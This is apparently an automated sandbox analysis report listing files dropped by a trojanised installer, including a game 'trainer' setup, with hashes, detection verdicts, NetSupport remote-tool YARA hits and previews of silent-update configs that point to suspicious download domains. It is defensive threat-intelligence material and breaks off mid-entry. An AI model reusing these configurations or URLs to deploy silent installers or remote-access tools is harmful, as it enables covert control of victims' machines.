Preview:	[General]..Flags=NoDisableAutoCheck\|PerMachine\|NoUpdaterInstallGUI..AppDir=C:\Program Files (x86)\AW Manager\Windows Manager\..ID={FDBC5875-BBA4-4DA5-9048-A196A21FE49A}..ApplicationName=Windows Installer..CompanyName=AdvancedWindowsManager..ApplicationVersion=5.0.4..DefaultCommandLine=/silentall..DownloadsFolder=C:\ProgramData\AdvancedWindowsManager\Windows Installer\updates\..URL=https://www.marvellover.com/updates.txt..URL1=https://www.hulkisbulish.com/updates.txt..

C:\Program Files (x86)\VxCXHgOKWFitaVL Corporation\is-4TFDP.tmp

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-PVR3Q.tmp\a0.tmp
File Type:	PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	434176
Entropy (8bit):	6.54894127969691
Encrypted:	false
SSDEEP:	12288:wSCzXYwG58z1pqSzBDMnkll8EpUWybLTmxZ2JBQxzSNd1hoi599snmJDr35:PC0wKkqQxz2X5UmJf3
MD5:	1ED52122E7D26AB6D0845D4008CF1685
SHA1:	6C856CC941EB63CA908F51109B3ABC1108C4C1E7
SHA-256:	446B0A0D26068692D8088A50AEBBAAB429514FA630D10F62E9A0EBF6B3E3BC63
SHA-512:	B0DDD3826F3A6ECCC9610E500A02C9ADEA7AE8C0343F48CDE6AAADEF814681FD39D06D663D6FCC90ED460CA544D8F62D5983421C152420D8398405B9208F6601
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Reputation:	unknown
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$...............................:.......Q...................................#...~.......F.......Rich............PE..L.....I...........!.........P.......@.......................................0..............................................h...(................................&...................................................................................text............................... ..`.rdata..]#.......0..................@..@.data............@..................@....rsrc................P..............@..@.reloc..(1.......@...`..............@..B................................................................................................................................................................................................................................................................................................................................

C:\Program Files (x86)\VxCXHgOKWFitaVL Corporation\is-8305D.tmp

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-PVR3Q.tmp\a0.tmp
File Type:	PE32 executable (DLL) (console) Intel 80386 Mono/.Net assembly, for MS Windows
Category:	dropped
Size (bytes):	753664
Entropy (8bit):	5.785456905272525
Encrypted:	false
SSDEEP:	12288:WZuUoUqrbs7TpCjxH4pxxo5CS06Nf637tBnN8JwqxhCbKjDp:WAUk0pCBgxxo8rWtjDp
MD5:	38A3875F7A2169645FEE066FD4E25572
SHA1:	5E72581C0C0ECE95BDA361CC08D50C6A7A18602E
SHA-256:	D3E374E75C33391E7D5A127E21A603F29241F6C3AC35B4F5766EA14AB49A8BDA
SHA-512:	4A54064BF78E8A506B5F8AE80F93BE584420D82515044C0D5DE8C294BC89653BDAB54142E3C1E53EC934CBF6A016A9DAEDA2008DD9DD90E306D31E8285D85B0D
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Reputation:	unknown
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L....pP...........!.....P... .......k... ........... ..............................-.....@..................................k..O...................................4k............................................... ............... ..H............text....L... ...P.................. ..`.rsrc................`..............@..@.reloc...............p..............@..B........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Program Files (x86)\VxCXHgOKWFitaVL Corporation\is-K1U5B.tmp

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-PVR3Q.tmp\a0.tmp
File Type:	PE32+ executable (DLL) (console) x86-64, for MS Windows
Category:	dropped
Size (bytes):	4869192
Entropy (8bit):	5.649617428876888
Encrypted:	false
SSDEEP:	49152:rXKBzQgiHMgpAdG2QyVkj1LkQWtdrT5ftjdKBc/uGiPg0qHpJEvBl5ViHlXzf:raFRi0SWbTdmcGGogpgPidD
MD5:	9A1F37F923A45C9C36816F87F75FF3FD
SHA1:	29E4C1CA3285DE8F6D72F0395BB881C7C44E8621
SHA-256:	8F29C2E143B8BA52A57623D5FE28B96FAE1B168466E0DAAABBC3B73BCB9418E1
SHA-512:	EB2D9F7006784ADD1B710DEE7A0A4AC697AA957511662226124B9DC8C8012CAB90B4E3D12EC28C5B01A27415BDF5ED2205C0531B0849BCAB12CDDECF5E624144
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Reputation:	unknown
Preview:	MZ......................@................................... ...........!..L.!This program cannot be run in DOS mode....$.........m'...t...t...t..u...t..u...t..uI..t...u...t...u...t...u...t..u...t...t(..tI..u...tI..u...t%..u...t...u...t...u...t...t...t..t...t...u...tRich...t........PE..d...U\+b.........." ......7.........p.........................................K......yJ...`.........................................`.B.l....zH.......H.Y.....E..f....J.H....`J..]...2;.8....................H;.(....2;.8............pH..............................text...=.7.......7................. ..`.rdata....... 7.......7.............@..@.data........B..:....A.............@....pdata..(.....E......2E.............@..@.idata..d(...pH..*....G.............@..@.tls..........H.......H.............@....00cfg..Q.....H.......H.............@..@_RDATA..".....H.......H.............@..@.rsrc...Y.....H.......H.............@..@.reloc......`J.......I.............@..B................................................

C:\Program Files (x86)\VxCXHgOKWFitaVL Corporation\is-R280H.tmp

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-PVR3Q.tmp\a0.tmp
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	3223613
Entropy (8bit):	6.3121812985566335
Encrypted:	false
SSDEEP:	49152:OWGtLBcXqFpBR6SVb8kq4pgquLMMji4NYxtJpkxhGjIHTbQ333TYZ:CtLutqgwh4NYxtJpkxhGj333TQ
MD5:	12DD9097E595FB41106F5DE6FDC5F049
SHA1:	73F2078A8461B4DD719476B1B073822201566DA5
SHA-256:	D220A894986AA4222EEEB61B186EB0DFD971DD06A6145BCECE0892665C4911D3
SHA-512:	F10224731623DF661147A010097E57378047D5E4D0A2632B17EF326C8695D029DEAC952B61674F67BA3F8C472AF8280A3BED3416C853A07FE3EA4488B65EB714
Malicious:	true
Reputation:	unknown
Preview:	MZP.....................@.......................InUn....................!..L.!..This program must be run under Win32..$7........................................................................................................................................PE..L......c.................L,.........hf,......p,...@...........................1...........@......@....................-.......-..9...................................................................................-.......-......................text.... ,......",................. ..`.itext...(...@,.....&,............. ..`.data...X....p,......P,.............@....bss.....y....-..........................idata...9....-..:....,.............@....didata.......-.......-.............@....edata........-......-.............@..@.tls....L.....-..........................rdata..]............,-.............@..@.rsrc.................-.............@..@..............1.......0.............@..@........................................................

C:\Program Files (x86)\VxCXHgOKWFitaVL Corporation\is-SGBP1.tmp

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-PVR3Q.tmp\a0.tmp
File Type:	PE32 executable (DLL) (console) Intel 80386 Mono/.Net assembly, for MS Windows
Category:	dropped
Size (bytes):	694992
Entropy (8bit):	5.697661316832979
Encrypted:	false
SSDEEP:	6144:uQ4Bm+4SZrcVjqb/suCl37UToyzhsmNjV+1eiXy+RkEdYfELMwlHlZWHlIZE:tSZaEQ7Uow+mN5+1eqy+RkEdYfOE
MD5:	D26FB663EC89C51598B076126E843850
SHA1:	5D776FFDDAF296FE76E8756E4E28836767F3C267
SHA-256:	DE5709157472DF4CDD280CED1BF0873C495D81E2116D16E13D8482723C44EEA9
SHA-512:	57C07A25773742A7A481469A8394C34AE8E6E2F7F366DDE5EEAB2E0E95838FB1AB53E9628B313FE184E2FF71C015C8439E9D70FBF1D724B2C77F72B2552FCDD2
Malicious:	true
Yara Hits:	Rule: JoeSecurity_GenericDownloader_1, Description: Yara detected Generic Downloader, Source: C:\Program Files (x86)\VxCXHgOKWFitaVL Corporation\is-SGBP1.tmp, Author: Joe Security
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Reputation:	unknown
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L.....Ca...........!.....P... ......Nf... ........... ..............................^]....`..................................e..O.................................................................................... ............... ..H............text...TF... ...P.................. ..`.rsrc................`..............@..@.reloc...............p..............@..B........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Program Files (x86)\VxCXHgOKWFitaVL Corporation\is-SMLRC.tmp

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-PVR3Q.tmp\a0.tmp
File Type:	PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	271664
Entropy (8bit):	6.551014936864254
Encrypted:	false
SSDEEP:	6144:xDvjgU3XLSViNNi7UfdBYb/7tuko2Xf/tnQY:NgU3XLSV6z2PV1
MD5:	359319DD193FCA3782CE4A446E2976DD
SHA1:	A2A6835A831906BBEFB6E28244CA25205FC70319
SHA-256:	CA98F7673DF0AED9D8E2EDE2403394C68B58C4176DAE232E40EBA2BDD329C8A1
SHA-512:	74D6AE42F44B5C241DD9D7F454F33959ED42A847728AA6D492699462D9FA5592CCF0396BF8300722D85F2647F001B7A9C03C910B9BE38E80F49C0F72337BDCA1
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Reputation:	unknown
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.........@aU..2U..2U..2...2V..2..n2N..2..22...2..s2\..2U./2...2..32b..2...2T..2..k2T..2U..2T..2...2T..2RichU..2........PE..L...<..I...........!.....p.........................e......................... .......m......................................hs..d.......................0.......X...@...................................................4............................text...*e.......p.................. ..`.rdata..............................@..@.data....L.......@..................@....rsrc...............................@..@.reloc..N%.......0..................@..B........................................................................................................................................................................................................................................................................................................................

C:\Program Files (x86)\VxCXHgOKWFitaVL Corporation\unins000.dat

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-PVR3Q.tmp\a0.tmp
File Type:	InnoSetup Log VxCXHgOKWFitaVL Corporation, version 0x418, 37403 bytes, 965543\37\user\37, C:\Program Files (x86)\VxCXHgOKWFitaVL Cor
Category:	dropped
Size (bytes):	37403
Entropy (8bit):	3.2783415861204905
Encrypted:	false
SSDEEP:	384:Mco4v0y3GefV3o5S559zQZkut4UwtGB6JS1GkAjYJ62KuOA1RVe1dDoO9IUVc6fB:Mco4dRNYQDpZ2cecS3bq
MD5:	345617C9E0C27657A02E742284C7E4DC
SHA1:	BAA2F9C2CD6A405225EA66C169C149AF61711166
SHA-256:	668AA56C4B1642A951EC8782245DFB333C4CC01E97359348E49CFA0DFEB6ED52
SHA-512:	E8DE90004AC5AD1E2CF0DC3966C305461186756B9DF5533A96342978FB6022F7E940A3912663B99398B2BD76645F6813297C0E428084E8DDBF75E1592CCCEB4C
Malicious:	false
Reputation:	unknown
Preview:	Inno Setup Uninstall Log (b)....................................VxCXHgOKWFitaVL Corporation.....................................................................................................VxCXHgOKWFitaVL Corporation.................................................................................................................................................................................................................................xtu............1...............9.6.5.5.4.3......a.l.f.o.n.s......C.:.\.P.r.o.g.r.a.m. .F.i.l.e.s. .(.x.8.6.).\.V.x.C.X.H.g.O.K.W.F.i.t.a.V.L. .C.o.r.p.o.r.a.t.i.o.n................4...... ...........{..IFPS....A...4....................................................................................................ANYMETHOD.....................................................................BOOLEAN..............TWIZARDFORM....TWIZARDFORM.........TMAINFORM....TMAINFORM.........TUNINSTALLPROGRESSFORM....TUNINSTALLPROGRESSFORM......... ..................

C:\Program Files (x86)\river-city-rival-showdown-trainer-15-v1-8-.exe\is-PFMO7.tmp

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-GNVBO.tmp\ZmWSzgevgt.tmp
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	3223613
Entropy (8bit):	6.312183785282604
Encrypted:	false
SSDEEP:	49152:OWGtLBcXqFpBR6SVb8kq4pgquLMMji4NYxtJpkxhGjIHTbQ333TYc:CtLutqgwh4NYxtJpkxhGj333T1
MD5:	969FAC0021669F20BEBF6D088812BD10
SHA1:	C5FA90BA1C91098C8ED3FAA3749D2159F09D85FB
SHA-256:	4A2117890D87BD8660836930D4FA1D8F75F772E5D3F06CD215516F153E16B4B2
SHA-512:	86869B5EE053FC44485CD373510526D06AACB5E80065F977515C151E2266E2BDC82A66632407AAD9BA1F4AECC71045D2364B59D79FC034159902331E690D0227
Malicious:	true
Reputation:	unknown
Preview:	MZP.....................@.......................InUn....................!..L.!..This program must be run under Win32..$7........................................................................................................................................PE..L......c.................L,.........hf,......p,...@...........................1...........@......@....................-.......-..9...................................................................................-.......-......................text.... ,......",................. ..`.itext...(...@,.....&,............. ..`.data...X....p,......P,.............@....bss.....y....-..........................idata...9....-..:....,.............@....didata.......-.......-.............@....edata........-......-.............@..@.tls....L.....-..........................rdata..]............,-.............@..@.rsrc.................-.............@..@..............1.......0.............@..@........................................................

C:\Program Files (x86)\river-city-rival-showdown-trainer-15-v1-8-.exe\unins000.dat

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-GNVBO.tmp\ZmWSzgevgt.tmp
File Type:	InnoSetup Log river-city-rival-showdown-trainer-15-v1-8-.exe, version 0x418, 6507 bytes, 965543\37\user\37, C:\Program Files (x86)\river-city-rival-sh
Category:	dropped
Size (bytes):	6507
Entropy (8bit):	4.205804042648521
Encrypted:	false
SSDEEP:	96:5P87Fs1ganROWUTMCdR3nZd3WMOdR3n5Ehk3w1nQErCVbcuJlEDA4MZAe2LJiHh3:Yy1gaZVCdRpvOdRijWbP4DSmJiHrd
MD5:	89EC76A56A91CA48EBA3FD2D1321CF65
SHA1:	475399C7FCD5F698695E45CBD84198B31722650E
SHA-256:	AA804A2CC8515F3CADA17798BF0D7D900A76935E5963C6703735D791916109C1
SHA-512:	6EE0770A7E8B07C28C14B603EF321BD61CE86749409F6CDE9BA1C4A029640ABF62BE18396B891046EABB746908D719E702D7014C8D83ABCCDEC9D202E9D496A5
Malicious:	false
Reputation:	unknown
Preview:	Inno Setup Uninstall Log (b)....................................river-city-rival-showdown-trainer-15-v1-8-.exe..................................................................................river-city-rival-showdown-trainer-15-v1-8-.exe..........................................................................................k..............................................................................................................................b.D...............9.6.5.5.4.3......a.l.f.o.n.s..v...C.:.\.P.r.o.g.r.a.m. .F.i.l.e.s. .(.x.8.6.).\.r.i.v.e.r.-.c.i.t.y.-.r.i.v.a.l.-.s.h.o.w.d.o.w.n.-.t.r.a.i.n.e.r.-.1.5.-.v.1.-.8.-...e.x.e................2.4.3.. ....."........IFPS....'........................................................................................................ANYMETHOD.....................................................................BOOLEAN..............TWIZARDFORM....TWIZARDFORM.........TMAINFORM....TMAINFORM.........TUNINSTALLPROGRESSFORM....TUNINSTALLPR

C:\ProgramData\AW Manager\Windows Manager\updates\updates.aiu.part

Download File

Process:	C:\Program Files (x86)\AW Manager\Windows Manager\Windows Updater.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	920
Entropy (8bit):	5.4890290129298585
Encrypted:	false
SSDEEP:	24:9GSJKKQ7+aLfSfLBoXSJwiFXfpaLfSfcB7:BMKC+aLKfLBbyiFXfpaLKfcB7
MD5:	509459CE0952B0856197848C14FA8DB6
SHA1:	925423CD81DFD5D1E385F72D7678887C93589B01
SHA-256:	5D9F04C032611A0FC5ED2E8B04B27C95D06AE5393BDE3A3503F8BB7DEF6454B6
SHA-512:	93D7CE10FBC92EE423CE45233F3F3614BA919C874DC52EF764776F8EE3068A1553B6E457A8BAB07CC01B0B5DDF626AD2CE9D97660BD91EED71F127CFB89E792B
Malicious:	false
Reputation:	unknown
Preview:	;aiu;..[v114].Name = Windows Installer.NoGUICommandLineSwitch = /exenoui /qn.ProductVersion = 5.0.4.0.URL = https://dl.likeasurfer.com/updates/v114.exe.Size = 4900680.SHA256 = B0E0AC83D5090C359F84AF160AEBA9BB7317D6D64372E4DEE980C7DC23FEFE41.MD5 = 5dc644e00d9553fc167cb649087b8089.ServerFileName = v114.exe.Flags = SilentInstall\|NoCache\|Advertises.RegistryKey = HKUD\Software\AdvancedWindowsManager\Windows Installer\Version.Version = 5.0.4.0.AutoCloseApplication = [APPDIR]AdvancedWindowsManager.exe..[v113].Name = Windows Installer.NoGUICommandLineSwitch = /exenoui /qn.ProductVersion = 5.0.3.0.URL = https://dl.likeasurfer.com/updates/v113.exe.Size = 3635424.MD5 = 8cad036c5cfed94d5319a060c488e38f.ServerFileName = v113.exe.Flags = SilentInstall\|NoCache\|Advertises.RegistryKey = HKUD\Software\AdvancedWindowsManager\Windows Installer\Version.Version = 5.0.3.0.AutoCloseApplication = [APPDIR]AdvancedWindowsManager.exe.

C:\ProgramData\AW Manager\Windows Manager\updates\v113\v113.exe.part

Download File

Process:	C:\Windows\Temp\ce2d31339cfff41b4b6db9e32e93218c\Windows Updater.exe
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	3635424
Entropy (8bit):	7.194637165266501
Encrypted:	false
SSDEEP:	98304:KKC4/jxH8S506fsWCDIOX3LFiU+3xOfXLBnkGK+NXZi:L/jxH8SCixOPLBuG
MD5:	8CAD036C5CFED94D5319A060C488E38F
SHA1:	731455086204F014C97EA3C1483DD6029961FF27
SHA-256:	62F773773392C101F673A8D3DB805D5AA3A45DBBB12E2B32BC746470AC520B0F
SHA-512:	5E673DE5820EBD47238AD83F4D98AC5CFC5D6AE5FA4941E24FB38C98F84CB852A3B38DEB1E4E2243099FBDB0CFD646D1AD3CCEB4E1380636A94CDED62DC473A2
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 27%
Reputation:	unknown
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.........C...-...-...-......-..(.j.-...)...-.......-...(...-..)...-..,...-..*...-...,...-...$...-......-.....-.../...-.Rich..-.................PE..L...<.\`.........."......l...B......H-............@........................... ......88...@..................................L..(........{..........h\7.x....P..........p...................@.......x...@...................p#..@....................text...?j.......l.................. ..`.rdata..8............p..............@..@.data...@n...`...T...N..............@....rsrc....{.......\|..................@..@.reloc.......P......................@..B........................................................................................................................................................................................................................................................................................

C:\ProgramData\AW Manager\Windows Manager\updates\v114\v114.exe.part

Download File

Process:	C:\Windows\Temp\ce2d31339cfff41b4b6db9e32e93218c\Windows Updater.exe
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	4900680
Entropy (8bit):	7.143984295613241
Encrypted:	false
SSDEEP:	98304:TYoIz3Q2HM5Qp4WzMIaX8/BG6v/IcV6V5LtYPPcsmVC:Ti3QDCpQaJGAI5aPPcRC
MD5:	5DC644E00D9553FC167CB649087B8089
SHA1:	753BB09D7A96622B76438017A7E413D45E6F66FA
SHA-256:	B0E0AC83D5090C359F84AF160AEBA9BB7317D6D64372E4DEE980C7DC23FEFE41
SHA-512:	CE9260F5F8F3E77A046F137DD0416D990FBADEE85D53005114696C8DCC34191E396A45E88977DD11EE87FE6E37A65E030F0B805B452F210C7E68DE1EFE92C954
Malicious:	true
Antivirus:	Antivirus: Avira, Detection: 100% Antivirus: ReversingLabs, Detection: 59%
Reputation:	unknown
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.............S...S...SA..R...SA..R+..SA..R...S...R...S...R...S...R...SA..R...SA..R...SA..R...S...SO..S...R..S..=S...S..US...S...R...SRich...S................PE..L...G.gb..........".......!.........D.........!...@.........................../......K...@.................................$..(..................J.x.....-..[....$.p.....................$.......!.@.............!.......).`....................text.....!.......!................. ..`.rdata..di....!..j....!.............@..@.data.......0..j.................@....rsrc...............*.............@..@.reloc...[....-..\...D-.............@..B................................................................................................................................................................................................................................................................................

C:\ProgramData\a1be65b801d44a9f9a1676f8e66ad8d1$dpx$.tmp\0a01aa728a4dab42a1a96bd575273048.tmp

Download File

Process:	C:\Windows\SysWOW64\expand.exe
File Type:	PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	33144
Entropy (8bit):	6.7376663312239256
Encrypted:	false
SSDEEP:	768:JFvNhAyi5hHA448qZkSn+EgT8ToDXTVi0:JCyoHA448qSSzgIQb
MD5:	34DFB87E4200D852D1FB45DC48F93CFC
SHA1:	35B4E73FB7C8D4C3FEFB90B7E7DC19F3E653C641
SHA-256:	2D6C6200508C0797E6542B195C999F3485C4EF76551AA3C65016587788BA1703
SHA-512:	F5BB4E700322CBAA5069244812A9B6CE6899CE15B4FD6384A3E8BE421E409E4526B2F67FE210394CD47C4685861FAF760EFF9AF77209100B82B2E0655581C9B2
Malicious:	true
Yara Hits:	Rule: JoeSecurity_NetSupport, Description: Yara detected NetSupport remote tool, Source: C:\ProgramData\a1be65b801d44a9f9a1676f8e66ad8d1$dpx$.tmp\0a01aa728a4dab42a1a96bd575273048.tmp, Author: Joe Security
Antivirus:	Antivirus: ReversingLabs, Detection: 3%
Reputation:	unknown
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$........+-..E~..E~..E~.\.~..E~.\.~..E~...~..E~..D~..E~.\.~..E~.\.~..E~.\.~..E~.\.~..E~...~..E~.\.~..E~Rich..E~........PE..L......U...........!.....2...........<.......P...............................`............@..........................^.......W..d....@..x............X..x)...P......`Q...............................V..@............P..@............................text....1.......2.................. ..`.rdata.......P.......6..............@..@.data...,....`.......F..............@....rsrc...x....@.......H..............@..@.reloc.......P.......P..............@..B........................................................................................................................................................................................................................................................................................................................

C:\ProgramData\a1be65b801d44a9f9a1676f8e66ad8d1$dpx$.tmp\0a495e6fb1839749b6d15c60fe56a705.tmp

Download File

Process:	C:\Windows\SysWOW64\expand.exe
File Type:	PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	396664
Entropy (8bit):	6.80911343409989
Encrypted:	false
SSDEEP:	12288:HqArkLoM/5iec2yxvUh3ho2LDnOQQ1k3+h9APjbom/n6:ekuK2XOjksobom/n6
MD5:	2C88D947A5794CF995D2F465F1CB9D10
SHA1:	C0FF9EA43771D712FE1878DBB6B9D7A201759389
SHA-256:	2B92EA2A7D2BE8D64C84EA71614D0007C12D6075756313D61DDC40E4C4DD910E
SHA-512:	E55679FF66DED375A422A35D0F92B3AC825674894AE210DBEF3642E4FC232C73114077E84EAE45C6E99A60EF4811F4A900B680C3BF69214959FA152A3DFBE542
Malicious:	true
Yara Hits:	Rule: JoeSecurity_NetSupport, Description: Yara detected NetSupport remote tool, Source: C:\ProgramData\a1be65b801d44a9f9a1676f8e66ad8d1$dpx$.tmp\0a495e6fb1839749b6d15c60fe56a705.tmp, Author: Joe Security
Antivirus:	Antivirus: ReversingLabs, Detection: 6%
Reputation:	unknown
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$............z..z..z.....z.....z.....z..{.Y.z....K.z......z.....z......z.....z.Rich.z.........PE..L....8.W...........!................'................................................P....@.............................o...D...x....0..@...............x)...@..\E..................................Pd..@...............h............................text............................... ..`.rdata..............................@..@.data...h............\|..............@....rsrc...@....0......................@..@.reloc...F...@...H..................@..B................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\a1be65b801d44a9f9a1676f8e66ad8d1$dpx$.tmp\105136346eee9b4f913f7c413847c168.tmp

Download File

Process:	C:\Windows\SysWOW64\expand.exe
File Type:	ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	46
Entropy (8bit):	4.532048032699691
Encrypted:	false
SSDEEP:	3:lsylULyJGI6csM:+ocyJGIPsM
MD5:	3BE27483FDCDBF9EBAE93234785235E3
SHA1:	360B61FE19CDC1AFB2B34D8C25D8B88A4C843A82
SHA-256:	4BFA4C00414660BA44BDDDE5216A7F28AECCAA9E2D42DF4BBFF66DB57C60522B
SHA-512:	EDBE8CF1CBC5FED80FEDF963ADE44E08052B19C064E8BCA66FA0FE1B332141FBE175B8B727F8F56978D1584BAAF27D331947C0B3593AAFF5632756199DC470E5
Malicious:	false
Reputation:	unknown
Preview:	[COMMON]..Storage_Enabled=0..Debug_Level=0....

C:\ProgramData\a1be65b801d44a9f9a1676f8e66ad8d1$dpx$.tmp\4af6177b9b136f48bb0af097a16b262c.tmp

Download File

Process:	C:\Windows\SysWOW64\expand.exe
File Type:	Windows setup INFormation
Category:	dropped
Size (bytes):	328
Entropy (8bit):	4.93007757242403
Encrypted:	false
SSDEEP:	6:a0S880EeLL6sWqYFcf8KYFEAy1JoHBIr2M2OIAXFYJKRLIkg/LH2yi9vyifjBLWh:JShNvPG1JoHBx2XFhILH4Burn
MD5:	26E28C01461F7E65C402BDF09923D435
SHA1:	1D9B5CFCC30436112A7E31D5E4624F52E845C573
SHA-256:	D96856CD944A9F1587907CACEF974C0248B7F4210F1689C1E6BCAC5FED289368
SHA-512:	C30EC66FECB0A41E91A31804BE3A8B6047FC3789306ADC106C723B3E5B166127766670C7DA38D77D3694D99A8CDDB26BC266EE21DBA60A148CDF4D6EE10D27D7
Malicious:	false
Reputation:	unknown
Preview:	; nskbfltr.inf..;..; NS Keyboard Filter..; ..;..; This inf file installs the WDF Framework binaries....[Version]..Signature="$Windows NT$"..Provider=NSL......;..;--- nskbfltr Coinstaller installation ------..;......[nskbfltr.NT.Wdf]..KmdfService = nskbfltr, nskbfltr_wdfsect....[nskbfltr_wdfsect]..KmdfLibraryVersion = 1.5......

C:\ProgramData\a1be65b801d44a9f9a1676f8e66ad8d1$dpx$.tmp\6ecd8ab053ec4e4aafa70a16d03c6420.tmp

Download File

Process:	C:\Windows\SysWOW64\expand.exe
File Type:	ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	195
Entropy (8bit):	4.924914741174998
Encrypted:	false
SSDEEP:	6:O/oPITDKHMoEEjLgpVUK+Odfu2M0M+ZYpPM/iotqO2La8l6i7s:XAyJjjqVUKHdW2MdRPM/iotq08l6J
MD5:	E9609072DE9C29DC1963BE208948BA44
SHA1:	03BBE27D0D1BA651FF43363587D3D6D2E170060F
SHA-256:	DC6A52AD6D637EB407CC060E98DFEEDCCA1167E7F62688FB1C18580DD1D05747
SHA-512:	F0E26AA63B0C7F1B31074B9D6EEF88D0CFBC467F86B12205CB539A45B0352E77CE2F99F29BAEAB58960A197714E72289744143BA17975699D058FE75D978DFD0
Malicious:	false
Reputation:	unknown
Preview:	1200..0x3ca968c5....[[Enforce]]....[_License]..control_only=0..expiry=01/01/2028..inactive=0..licensee=XMLCTL..maxslaves=9999..os2=1..product=10..serial_no=NSM303008..shrink_wrap=0..transport=0..

C:\ProgramData\a1be65b801d44a9f9a1676f8e66ad8d1$dpx$.tmp\71d2c2c2cbf1584eab33cbbc878fb5cc.tmp

Download File

Process:	C:\Windows\SysWOW64\expand.exe
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	120232
Entropy (8bit):	5.257399420433021
Encrypted:	false
SSDEEP:	768:thVZl6FhWr80/MqUr2pe/vP+KFKcMkS5r2pe/giTKFKcMkQA:t10hGUq0ee/v2IrIee/gqIrEA
MD5:	261D6E9D4571D1938CB54A2AE1B1821D
SHA1:	CA3ED46EDC92D901B33D8E7681883CAF861750A0
SHA-256:	168FCF4F6FD77A9498C79EF6CC95CC8CE4CB7D0CECF0D4A4D8A6AFF9397AB6E9
SHA-512:	B15E6E01A809449CC87F8949034A8DE08ED8EF18549001F55096FA47A398BEE18AE2BC11CC184B2F9A259CF97B230BBE50E4D010CF9F87917E8452245A835231
Malicious:	true
Yara Hits:	Rule: JoeSecurity_NetSupport, Description: Yara detected NetSupport remote tool, Source: C:\ProgramData\a1be65b801d44a9f9a1676f8e66ad8d1$dpx$.tmp\71d2c2c2cbf1584eab33cbbc878fb5cc.tmp, Author: Joe Security
Antivirus:	Antivirus: ReversingLabs, Detection: 17%
Reputation:	unknown
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$...........W.g.W.g.W.g.^...U.g.8...T.g.W.f.R.g.8..V.g.8...V.g.8...V.g.RichW.g.........PE..L...6..d.....................r...... ........ ....@.......................................@.................................< ..<....0..Hm...........x...].......... ............................................... ...............................text............................... ..`.rdata..^.... ......................@..@.rsrc...Hm...0...n..................@..@.reloc..l............v..............@..B................................................................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\a1be65b801d44a9f9a1676f8e66ad8d1$dpx$.tmp\7521326bf1c7c344a7ca0eb2f78dd396.tmp

Download File

Process:	C:\Windows\SysWOW64\expand.exe
File Type:	PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	328056
Entropy (8bit):	6.7547459359511395
Encrypted:	false
SSDEEP:	6144:Hib5YbsXPKXd6ppGpwpbGf30IVFpSzyaHx3/4aY5dUilQpAf84lH0JYBAnM1OKB:Hib5YbsXioEgULFpSzya9/lY5SilQCfR
MD5:	C94005D2DCD2A54E40510344E0BB9435
SHA1:	55B4A1620C5D0113811242C20BD9870A1E31D542
SHA-256:	3C072532BF7674D0C5154D4D22A9D9C0173530C0D00F69911CDBC2552175D899
SHA-512:	2E6F673864A54B1DCAD9532EF9B18A9C45C0844F1F53E699FADE2F41E43FA5CBC9B8E45E6F37B95F84CF6935A96FBA2950EE3E0E9542809FD288FEFBA34DDD6A
Malicious:	true
Yara Hits:	Rule: JoeSecurity_NetSupport, Description: Yara detected NetSupport remote tool, Source: C:\ProgramData\a1be65b801d44a9f9a1676f8e66ad8d1$dpx$.tmp\7521326bf1c7c344a7ca0eb2f78dd396.tmp, Author: Joe Security
Antivirus:	Antivirus: ReversingLabs, Detection: 3%
Reputation:	unknown
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$........ ...A...A...A.......A...9...A...A..gA....1..A....0.A.......A.......A.......A..Rich.A..........PE..L.....V...........!.................Z.......................................P......._....@......................... ...k....y..x.......@...............x).......0..................................._..@............................................text............................... ..`.rdata..............................@..@.data....f.......(...v..............@....rsrc...@...........................@..@.reloc..b1.......2..................@..B........................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\a1be65b801d44a9f9a1676f8e66ad8d1$dpx$.tmp\86f0e59c0cab3c4a8a87bee6d0fa0beb.tmp

Download File

Process:	C:\Windows\SysWOW64\expand.exe
